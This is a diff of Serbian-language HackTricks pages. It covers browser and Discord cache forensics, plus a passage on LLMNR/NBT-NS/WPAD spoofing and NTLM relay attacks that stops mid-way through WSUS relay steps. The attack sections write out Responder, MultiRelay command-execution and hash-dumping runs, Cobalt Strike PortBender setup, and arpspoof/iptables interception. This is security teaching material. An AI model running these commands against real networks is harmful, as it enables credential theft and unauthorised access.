[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) alat omogućava inspekciju keša, i zahteva lokaciju fascikle za ekstrakciju keš podataka. Metapodaci keša uključuju ime fajla, direktorijum, broj pristupa, URL poreklo i vremenske oznake koje označavaju kreiranje, pristup, modifikaciju i isteka keša.
|
||||||
|
|
||||||
### Cookies Management
|
### Cookies Management
|
||||||
|
|
||||||
Kolačići se mogu istraživati koristeći [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), sa metapodacima koji obuhvataju imena, URL-ove, brojeve pristupa i razne vremenske detalje. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
|
Cookies se mogu istražiti koristeći [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), a metapodaci obuhvataju imena, URL-ove, broj pristupa i razne vremenske detalje. Perzistentni cookies se čuvaju u %userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies, dok session cookies borave u memoriji.
|
||||||
|
|
||||||
### Download Details
|
### Download Details
|
||||||
|
|
||||||
Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), sa specifičnim kontejnerima koji sadrže podatke kao što su URL, tip datoteke i lokacija preuzimanja. Fizičke datoteke se mogu naći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
Metapodaci preuzimanja su dostupni preko [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), pri čemu specifični kontejneri sadrže podatke kao što su URL, tip fajla i lokacija preuzimanja. Fizički fajlovi se mogu naći pod %userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory.
|
||||||
|
|
||||||
### Browsing History
|
### Browsing History
|
||||||
|
|
||||||
Za pregled istorije pretraživanja, može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), zahtevajući lokaciju ekstraktovanih datoteka istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vremena modifikacije i pristupa, zajedno sa brojevima pristupa. Datoteke istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
Za pregled istorije pretraživanja može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), potrebno je navesti lokaciju ekstrahovanih fajlova istorije i konfiguraciju za Internet Explorer. Metapodaci ovde uključuju vremena modifikacije i pristupa, zajedno sa brojem pristupa. Fajlovi istorije se nalaze u %userprofile%\Appdata\Local\Microsoft\Windows\History.
|
||||||
|
|
||||||
### Typed URLs
|
### Typed URLs
|
||||||
|
|
||||||
Otucani URL-ovi i njihova vremena korišćenja čuvaju se unutar registra pod `NTUSER.DAT` na `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova koje je korisnik uneo i njihova poslednja vremena unosa.
|
Ukucani URL-ovi i vremena njihove upotrebe se čuvaju u registru pod NTUSER.DAT na Software\Microsoft\InternetExplorer\TypedURLs i Software\Microsoft\InternetExplorer\TypedURLsTime, prateći poslednjih 50 URL-ova koje je korisnik uneo i vreme njihovog poslednjeg unosa.
|
||||||
|
|
||||||
## Microsoft Edge
|
## Microsoft Edge
|
||||||
|
|
||||||
Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite tipove podataka su:
|
Microsoft Edge čuva korisničke podatke u %userprofile%\Appdata\Local\Packages. Putanje za razne tipove podataka su:
|
||||||
|
|
||||||
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||||
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||||
@ -133,30 +139,31 @@ Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages
|
|||||||
|
|
||||||
## Safari
|
## Safari
|
||||||
|
|
||||||
Safari podaci se čuvaju na `/Users/$User/Library/Safari`. Ključne datoteke uključuju:
|
Podaci Safari-ja se čuvaju u /Users/$User/Library/Safari. Ključni fajlovi uključuju:
|
||||||
|
|
||||||
- **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenskim oznakama poseta. Koristite `sqlite3` za upite.
|
- **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenskim pečatima poseta. Koristite `sqlite3` za upite.
|
||||||
- **Downloads.plist**: Informacije o preuzetim datotekama.
|
- **Downloads.plist**: Informacije o preuzetim fajlovima.
|
||||||
- **Bookmarks.plist**: Čuva URL-ove oznaka.
|
- **Bookmarks.plist**: Čuva bookmarkovane URL-ove.
|
||||||
- **TopSites.plist**: Najčešće posećeni sajtovi.
|
- **TopSites.plist**: Najčešće posećeni sajtovi.
|
||||||
- **Extensions.plist**: Lista ekstenzija pretraživača Safari. Koristite `plutil` ili `pluginkit` za preuzimanje.
|
- **Extensions.plist**: Lista Safari ekstenzija. Koristite `plutil` ili `pluginkit` za dobijanje.
|
||||||
- **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje obaveštenja. Koristite `plutil` za analizu.
|
- **UserNotificationPermissions.plist**: Domeni kojima je dozvoljeno slanje notifikacija. Koristite `plutil` za parsiranje.
|
||||||
- **LastSession.plist**: Kartice iz poslednje sesije. Koristite `plutil` za analizu.
|
- **LastSession.plist**: Tabovi iz poslednje sesije. Koristite `plutil` za parsiranje.
|
||||||
- **Browser’s built-in anti-phishing**: Proverite koristeći `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 označava da je funkcija aktivna.
|
- **Browser’s built-in anti-phishing**: Proverite koristeći `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Odgovor 1 označava da je funkcija aktivna.
|
||||||
|
|
||||||
## Opera
|
## Opera
|
||||||
|
|
||||||
Opera podaci se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i deli format Chrome-a za istoriju i preuzimanja.
|
Podaci Opera-e se nalaze u /Users/$USER/Library/Application Support/com.operasoftware.Opera i dele Chrome format za istoriju i preuzimanja.
|
||||||
|
|
||||||
- **Browser’s built-in anti-phishing**: Proverite tako što ćete proveriti da li je `fraud_protection_enabled` u datoteci Preferences postavljeno na `true` koristeći `grep`.
|
- **Browser’s built-in anti-phishing**: Proverite tako što ćete u Preferences fajlu proveriti da li je `fraud_protection_enabled` postavljeno na `true` koristeći `grep`.
|
||||||
|
|
||||||
Ove putanje i komande su ključne za pristup i razumevanje podataka o pretraživanju koje čuvaju različiti web pretraživači.
|
Ove putanje i komande su ključne za pristup i razumevanje podataka o pretraživanju koje čuvaju različiti web pregledači.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||||
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||||
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
- **Knjiga: OS X Incident Response: Scripting and Analysis By Jaron Bradley str 123**
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -0,0 +1,89 @@
|
|||||||
|
# Forenzika Discord keša (Chromium Simple Cache)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Ova stranica sažima kako trijagovati cache artefakte Discord Desktop-a da bi se povratili exfiltrated fajlovi, webhook endpoints i vremenske linije aktivnosti. Discord Desktop je Electron/Chromium aplikacija i koristi Chromium Simple Cache na disku.
|
||||||
|
|
||||||
|
## Gde tražiti (Windows/macOS/Linux)
|
||||||
|
|
||||||
|
- Windows: %AppData%\discord\Cache\Cache_Data
|
||||||
|
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
|
||||||
|
- Linux: ~/.config/discord/Cache/Cache_Data
|
||||||
|
|
||||||
|
Ključne strukture na disku unutar Cache_Data:
|
||||||
|
- index: Simple Cache index baza podataka
|
||||||
|
- data_#: Binarne cache blok datoteke koje mogu da sadrže više keširanih objekata
|
||||||
|
- f_######: Pojedinačni keširani unosi sačuvani kao zasebne datoteke (često veći sadržaji)
|
||||||
|
|
||||||
|
Napomena: Brisanje poruka/kanala/servera u Discord-u ne čisti ovaj lokalni keš. Keširani elementi često ostaju i njihovi vremenski pečati datoteka usklađeni su sa korisničkom aktivnošću, što omogućava rekonstrukciju vremenske linije.
|
||||||
|
|
||||||
|
## Šta se može povratiti
|
||||||
|
|
||||||
|
- Exfiltrated attachments and thumbnails fetched via cdn.discordapp.com/media.discordapp.net
|
||||||
|
- Slike, GIF-ovi, video zapisi (npr. .jpg, .png, .gif, .webp, .mp4, .webm)
|
||||||
|
- Webhook URL-ovi (https://discord.com/api/webhooks/…)
|
||||||
|
- Discord API pozivi (https://discord.com/api/vX/…)
|
||||||
|
- Korisno za korelaciju beaconing/exfil aktivnosti i heširanje medija za intel matching
|
||||||
|
|
||||||
|
## Brza trijaža (ručno)
|
||||||
|
|
||||||
|
- Grep cache za artefakte visokog značaja:
|
||||||
|
- Webhook endpoints:
|
||||||
|
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
|
||||||
|
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
|
||||||
|
- Attachment/CDN URLs:
|
||||||
|
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
|
||||||
|
- Discord API calls:
|
||||||
|
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
|
||||||
|
- Sortirajte keširane unose po vremenu izmene da napravite brzu vremensku liniju (mtime odražava kada je objekat upao u keš):
|
||||||
|
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
|
||||||
|
|
||||||
|
## Parsiranje f_* unosa (HTTP telo + zaglavlja)
|
||||||
|
|
||||||
|
Fajlovi koji počinju sa f_ sadrže HTTP response headers praćene telom. Header blok obično završava sa \r\n\r\n. Korisna response headers uključuju:
|
||||||
|
- Content-Type: Da bi se naslutio tip medija
|
||||||
|
- Content-Location or X-Original-URL: Originalna udaljena URL za pregled/korelaciju
|
||||||
|
- Content-Encoding: Može biti gzip/deflate/br (Brotli)
|
||||||
|
|
||||||
|
Mediji se mogu izvući odvajanjem zaglavlja od tela i opciono dekompresovanjem prema Content-Encoding. Magic-byte sniffing je koristan kada Content-Type nedostaje.
|
||||||
|
|
||||||
|
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
|
||||||
|
|
||||||
|
- Repo: https://github.com/jwdfir/discord_cache_parser
|
||||||
|
- Function: Rekurzivno skenira Discord-ov cache folder, pronalazi webhook/API/attachment URL-ove, parsira f_* tela, opciono carve-uje medije, i ispisuje HTML + CSV timeline izveštaje sa SHA‑256 heševima.
|
||||||
|
|
||||||
|
Example CLI usage:
|
||||||
|
```bash
|
||||||
|
# Acquire cache (copy directory for offline parsing), then run:
|
||||||
|
python3 discord_forensic_suite_cli \
|
||||||
|
--cache "%AppData%\discord\Cache\Cache_Data" \
|
||||||
|
--outdir C:\IR\discord-cache \
|
||||||
|
--output discord_cache_report \
|
||||||
|
--format both \
|
||||||
|
--timeline \
|
||||||
|
--extra \
|
||||||
|
--carve \
|
||||||
|
--verbose
|
||||||
|
```
|
||||||
|
Ključne opcije:
|
||||||
|
- --cache: Putanja do Cache_Data
|
||||||
|
- --format html|csv|both
|
||||||
|
- --timeline: Generiši poredani CSV timeline (po vremenu izmene)
|
||||||
|
- --extra: Takođe skeniraj srodne Code Cache i GPUCache
|
||||||
|
- --carve: Carve media from raw bytes near regex hits (images/video)
|
||||||
|
- Output: HTML report, CSV report, CSV timeline, and a media folder with carved/extracted files
|
||||||
|
|
||||||
|
## Saveti analitičara
|
||||||
|
|
||||||
|
- Povežite vreme izmene (modified time / mtime) f_* i data_* fajlova sa periodima aktivnosti korisnika/napadača da biste rekonstruisali timeline.
|
||||||
|
- Izračunajte SHA-256 heš za povraćene medije i uporedite sa known-bad ili exfil dataset-ovima.
|
||||||
|
- Extracted webhook URLs mogu se testirati za liveness ili rotirati; razmislite o njihovom dodavanju na blocklists i retro-hunting proxies.
|
||||||
|
- Cache ostaje prisutan nakon “wiping”-a na serverskoj strani. Ako je moguća akvizicija, prikupite ceo Cache direktorijum i povezane sibling cache-ove (Code Cache, GPUCache).
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||||
|
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
|
||||||
|
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,77 +1,77 @@
|
|||||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS i WPAD i Relay napadi
|
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Mrežni protokoli
|
## Mrežni protokoli
|
||||||
|
|
||||||
### Protokoli za lokalno rešavanje hostova
|
### Lokalni protokoli za rezoluciju imena
|
||||||
|
|
||||||
- **LLMNR, NBT-NS i mDNS**:
|
- **LLMNR, NBT-NS, and mDNS**:
|
||||||
- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično tome, Apple i Linux sistemi koriste mDNS.
|
- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno razrešavanje imena kada DNS ne uspe. Slično tome, Apple i Linux sistemi koriste mDNS.
|
||||||
- Ovi protokoli su podložni presretanju i spoofingu zbog svoje neautentifikovane, broadcast prirode preko UDP-a.
|
- Ovi protokoli su podložni presretanju i spoofingu zbog njihovog neautentifikovanog, broadcast karaktera preko UDP.
|
||||||
- [Responder](https://github.com/lgandx/Responder) se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji upituju ove protokole.
|
- [Responder](https://github.com/lgandx/Responder) se može koristiti za lažno predstavljanje servisa slanjem falsifikovanih odgovora hostovima koji upituju te protokole.
|
||||||
- Dodatne informacije o impersonaciji usluga koristeći Responder mogu se naći [ovde](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
- Dalje informacije o lažnom predstavljanju servisa pomoću Responder-a mogu se naći [ovde](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||||
|
|
||||||
### Protokol za automatsko otkrivanje web proxy-a (WPAD)
|
### Protokol automatskog otkrivanja web proxy-ja (WPAD)
|
||||||
|
|
||||||
- WPAD omogućava pretraživačima da automatski otkriju postavke proxy-a.
|
- WPAD omogućava pregledačima da automatski otkriju podešavanja proxy-ja.
|
||||||
- Otkriće se olakšava putem DHCP-a, DNS-a, ili povratka na LLMNR i NBT-NS ako DNS zakaže.
|
- Otkrivanje se vrši preko DHCP, DNS, ili se vraća na LLMNR i NBT-NS ako DNS ne uspe.
|
||||||
- Responder može automatizovati WPAD napade, usmeravajući klijente na zlonamerne WPAD servere.
|
- Responder može automatizovati WPAD napade, usmeravajući klijente prema zlonamernim WPAD serverima.
|
||||||
|
|
||||||
### Responder za trovanje protokola
|
### Responder za trovanje protokola
|
||||||
|
|
||||||
- **Responder** je alat koji se koristi za trovanje LLMNR, NBT-NS i mDNS upita, selektivno odgovarajući na osnovu tipova upita, prvenstveno cilja SMB usluge.
|
- **Responder** je alat koji se koristi za trovanje upita LLMNR, NBT-NS i mDNS, selektivno odgovarajući na osnovu tipova upita, prvenstveno ciljajući SMB servise.
|
||||||
- Dolazi unapred instaliran u Kali Linux-u, konfigurisanje se vrši na `/etc/responder/Responder.conf`.
|
- Dolazi predinstaliran u Kali Linux, konfigurisano u `/etc/responder/Responder.conf`.
|
||||||
- Responder prikazuje uhvaćene hešove na ekranu i čuva ih u direktorijumu `/usr/share/responder/logs`.
|
- Responder prikazuje uhvaćene heševe na ekranu i beleži ih u direktorijumu `/usr/share/responder/logs`.
|
||||||
- Podržava i IPv4 i IPv6.
|
- Podržava i IPv4 i IPv6.
|
||||||
- Windows verzija Responder-a je dostupna [ovde](https://github.com/lgandx/Responder-Windows).
|
- Windows verzija Responder-a je dostupna [ovde](https://github.com/lgandx/Responder-Windows).
|
||||||
|
|
||||||
#### Pokretanje Responder-a
|
#### Pokretanje Responder-a
|
||||||
|
|
||||||
- Da biste pokrenuli Responder sa podrazumevanim postavkama: `responder -I <Interface>`
|
- Za pokretanje Responder-a sa podrazumevanim podešavanjima: `responder -I <Interface>`
|
||||||
- Za agresivnije ispitivanje (sa potencijalnim nuspojavama): `responder -I <Interface> -P -r -v`
|
- Za agresivnije sondiranje (sa mogućim posledicama): `responder -I <Interface> -P -r -v`
|
||||||
- Tehnike za hvatanje NTLMv1 izazova/odgovora radi lakšeg krakenja: `responder -I <Interface> --lm --disable-ess`
|
- Tehnike za hvatanje NTLMv1 izazova/odgovora radi lakšeg crack-ovanja: `responder -I <Interface> --lm --disable-ess`
|
||||||
- WPAD impersonacija može se aktivirati sa: `responder -I <Interface> --wpad`
|
- Lažno predstavljanje WPAD-a može se aktivirati sa: `responder -I <Interface> --wpad`
|
||||||
- NetBIOS zahtevi mogu se rešiti na IP napadača, a može se postaviti i proxy za autentifikaciju: `responder.py -I <interface> -Pv`
|
- NetBIOS zahteve je moguće resolvovati na IP napadača, i može se postaviti autentikacioni proxy: `responder.py -I <interface> -Pv`
|
||||||
|
|
||||||
### DHCP trovanje sa Responder-om
|
### DHCP trovanje pomoću Responder-a
|
||||||
|
|
||||||
- Spoofing DHCP odgovora može trajno otrovati rutiranje informacije žrtve, nudeći diskretniju alternativu ARP trovanju.
|
- Lažiranje DHCP odgovora može trajno zatrovati ruting informacije žrtve, nudeći prikriveniju alternativu ARP poisoning-u.
|
||||||
- Zahteva precizno poznavanje konfiguracije ciljne mreže.
|
- Zahteva precizno znanje o konfiguraciji ciljne mreže.
|
||||||
- Pokretanje napada: `./Responder.py -I eth0 -Pdv`
|
- Za izvođenje napada: `./Responder.py -I eth0 -Pdv`
|
||||||
- Ova metoda može efikasno uhvatiti NTLMv1/2 hešove, ali zahteva pažljivo rukovanje kako bi se izbeglo ometanje mreže.
|
- Ova metoda može efikasno uhvatiti NTLMv1/2 heševe, ali zahteva pažljivu upotrebu kako bi se izbeglo ometanje mreže.
|
||||||
|
|
||||||
### Hvatanje kredencijala sa Responder-om
|
### Hvatanje kredencijala pomoću Responder-a
|
||||||
|
|
||||||
- Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 Challenge/Response) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga.
|
- Responder će lažno predstavljati servise koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 Challenge/Response) kada korisnik pokuša da se autentifikuje prema lažno predstavljenim servisima.
|
||||||
- Mogu se pokušati da se pređe na NetNTLMv1 ili da se onemogući ESS radi lakšeg krakenja kredencijala.
|
- Mogu se pokušati downgrade na NetNTLMv1 ili onemogućiti ESS radi lakšeg probijanja kredencijala.
|
||||||
|
|
||||||
Važno je napomenuti da se korišćenje ovih tehnika mora vršiti legalno i etički, osiguravajući odgovarajuću autorizaciju i izbegavajući ometanje ili neovlašćen pristup.
|
Veoma je važno napomenuti da se upotreba ovih tehnika treba obavljati legalno i etički, uz odgovarajuće ovlašćenje i izbegavanje ometanja ili neovlašćenog pristupa.
|
||||||
|
|
||||||
## Inveigh
|
## Inveigh
|
||||||
|
|
||||||
Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i man-in-the-middle napade. Alat se razvio iz PowerShell skripte u C# binarni, sa [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
Inveigh je alat za penetration testere i red teamere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, izvodeći spoofing i man-in-the-middle napade. Alat se razvio iz PowerShell skripte u C# binar, sa [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kao glavnim verzijama. Detaljni parametri i uputstva su dostupni u [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||||
|
|
||||||
Inveigh se može koristiti kroz PowerShell:
|
Inveigh se može pokretati kroz PowerShell:
|
||||||
```bash
|
```bash
|
||||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||||
```
|
```
|
||||||
Ili izvršeno kao C# binarni fajl:
|
Ili pokrenuto kao C# binarni fajl:
|
||||||
```bash
|
```bash
|
||||||
Inveigh.exe
|
Inveigh.exe
|
||||||
```
|
```
|
||||||
### NTLM Relay Attack
|
### NTLM Relay Attack
|
||||||
|
|
||||||
Ovaj napad koristi SMB autentifikacione sesije za pristup ciljnim mašinama, omogućavajući sistemsku ljusku ako je uspešan. Ključni preduslovi uključuju:
|
Ovaj napad koristi SMB autentifikacione sesije da bi se pristupilo ciljnom računaru, dodeljujući system shell ako uspe. Ključni preduslovi uključuju:
|
||||||
|
|
||||||
- Autentifikovani korisnik mora imati lokalni administratorski pristup na relayed hostu.
|
- Korisnik koji se autentifikuje mora imati Local Admin pristup na relayed hostu.
|
||||||
- SMB potpisivanje treba biti onemogućeno.
|
- SMB signing treba biti onemogućen.
|
||||||
|
|
||||||
#### 445 Port Forwarding and Tunneling
|
#### 445 Port Forwarding and Tunneling
|
||||||
|
|
||||||
U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput [**PortBender**](https://github.com/praetorian-inc/PortBender) pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je dostupan lokalni administratorski pristup za učitavanje drajvera.
|
U scenarijima gde direktan pristup mreži nije moguć, saobraćaj na portu 445 mora biti prosleđen i tunelovan. Alati poput [**PortBender**](https://github.com/praetorian-inc/PortBender) pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je dostupan Local Admin pristup za driver loading.
|
||||||
|
|
||||||
PortBender podešavanje i rad u Cobalt Strike:
|
Podešavanje i rad PortBender-a u Cobalt Strike:
|
||||||
```bash
|
```bash
|
||||||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||||||
|
|
||||||
@ -87,17 +87,17 @@ beacon> jobkill 0
|
|||||||
beacon> rportfwd stop 8445
|
beacon> rportfwd stop 8445
|
||||||
beacon> socks stop
|
beacon> socks stop
|
||||||
```
|
```
|
||||||
### Ostali alati za NTLM Relay napad
|
### Ostali alati za NTLM Relay Attack
|
||||||
|
|
||||||
- **Metasploit**: Podešen sa proxy-ima, detaljima lokalnih i udaljenih hostova.
|
- **Metasploit**: Podešava se sa proxies i podacima o lokalnom i udaljenom hostu.
|
||||||
- **smbrelayx**: Python skripta za preusmeravanje SMB sesija i izvršavanje komandi ili postavljanje backdoor-a.
|
- **smbrelayx**: Python skripta za relaying SMB sessions i izvršavanje komandi ili postavljanje backdoors.
|
||||||
- **MultiRelay**: Alat iz Responder paketa za preusmeravanje specifičnih korisnika ili svih korisnika, izvršavanje komandi ili dumpovanje hash-eva.
|
- **MultiRelay**: Alat iz Responder suite koji može da relay-uje određene korisnike ili sve korisnike, izvršava komande ili dump-uje hashes.
|
||||||
|
|
||||||
Svaki alat može biti konfigurisan da radi kroz SOCKS proxy ako je potrebno, omogućavajući napade čak i sa indirektnim pristupom mreži.
|
Svaki alat se može konfigurisati da radi kroz SOCKS proxy ako je potrebno, omogućavajući napade čak i sa indirektnim pristupom mreži.
|
||||||
|
|
||||||
### MultiRelay operacija
|
### Korišćenje MultiRelay
|
||||||
|
|
||||||
MultiRelay se izvršava iz _**/usr/share/responder/tools**_ direktorijuma, ciljajući specifične IP adrese ili korisnike.
|
MultiRelay se pokreće iz direktorijuma _**/usr/share/responder/tools**_, ciljajući određene IP-ove ili korisnike.
|
||||||
```bash
|
```bash
|
||||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||||
@ -105,78 +105,137 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|||||||
|
|
||||||
# Proxychains for routing traffic
|
# Proxychains for routing traffic
|
||||||
```
|
```
|
||||||
Ovi alati i tehnike čine sveobuhvatan set za sprovođenje NTLM Relay napada u raznim mrežnim okruženjima.
|
Ovi alati i tehnike čine sveobuhvatan skup za izvođenje NTLM Relay napada u različitim mrežnim okruženjima.
|
||||||
|
|
||||||
### Prisiljavanje NTLM prijava
|
### Zloupotreba WSUS HTTP (8530) za NTLM Relay prema LDAP/SMB/AD CS (ESC8)
|
||||||
|
|
||||||
Na Windows-u **možda ćete moći da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama**. Pročitajte sledeću stranicu da biste saznali kako:
|
WSUS klijenti se autentifikuju prema svom update serveru koristeći NTLM preko HTTP (8530) ili HTTPS (8531). Kada je HTTP omogućen, periodični check-in klijenata može biti prisiljen ili presretnut na lokalnom segmentu i preusmeren pomoću ntlmrelayx prema LDAP/LDAPS/SMB ili AD CS HTTP endpoint-ima (ESC8) bez razbijanja heševa. Ovo se uklapa u normalni update saobraćaj i često dovodi do autentifikacija računa mašina (HOST$).
|
||||||
|
|
||||||
|
Na šta obratiti pažnju
|
||||||
|
- GPO/registry konfiguracija pod HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate i ...\WindowsUpdate\AU:
|
||||||
|
- WUServer (npr. http://wsus.domain.local:8530)
|
||||||
|
- WUStatusServer (reporting URL)
|
||||||
|
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
|
||||||
|
- DetectionFrequencyEnabled i DetectionFrequency (sati)
|
||||||
|
- WSUS SOAP endpoint-i koje klijenti koriste preko HTTP:
|
||||||
|
- /ClientWebService/client.asmx (approvals)
|
||||||
|
- /ReportingWebService/reportingwebservice.asmx (status)
|
||||||
|
- Podrazumevani portovi: 8530/tcp HTTP, 8531/tcp HTTPS
|
||||||
|
|
||||||
|
Prikupljanje informacija (Reconnaissance)
|
||||||
|
- Bez autentikacije
|
||||||
|
- Skeniraj za slušaoce: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
|
||||||
|
- Presreći HTTP WSUS saobraćaj preko L2 MITM i zabeleži aktivne klijente/endpoint-e sa wsusniff.py (samo HTTP osim ako ne nateraš klijente da veruju tvom TLS certu).
|
||||||
|
- Sa autentikacijom
|
||||||
|
- Analiziraj SYSVOL GPOs za WSUS ključeve pomoću MANSPIDER + regpol (wsuspider.sh wrapper sumira WUServer/WUStatusServer/UseWUServer).
|
||||||
|
- Upituj endpoint-e na skali sa hostova (NetExec) ili lokalno:
|
||||||
|
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
|
||||||
|
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||||
|
|
||||||
|
Koraci za end-to-end HTTP relay
|
||||||
|
1) Pozicioniraj se za MITM (isti L2) tako da klijent reši WSUS server na tebe (ARP/DNS poisoning, Bettercap, mitm6, itd.). Primer sa arpspoof:
|
||||||
|
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
|
||||||
|
|
||||||
|
2) Preusmeri port 8530 na tvoj relay listener (opciono, zgodno):
|
||||||
|
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
|
||||||
|
iptables -t nat -L PREROUTING --line-numbers
|
||||||
|
|
||||||
|
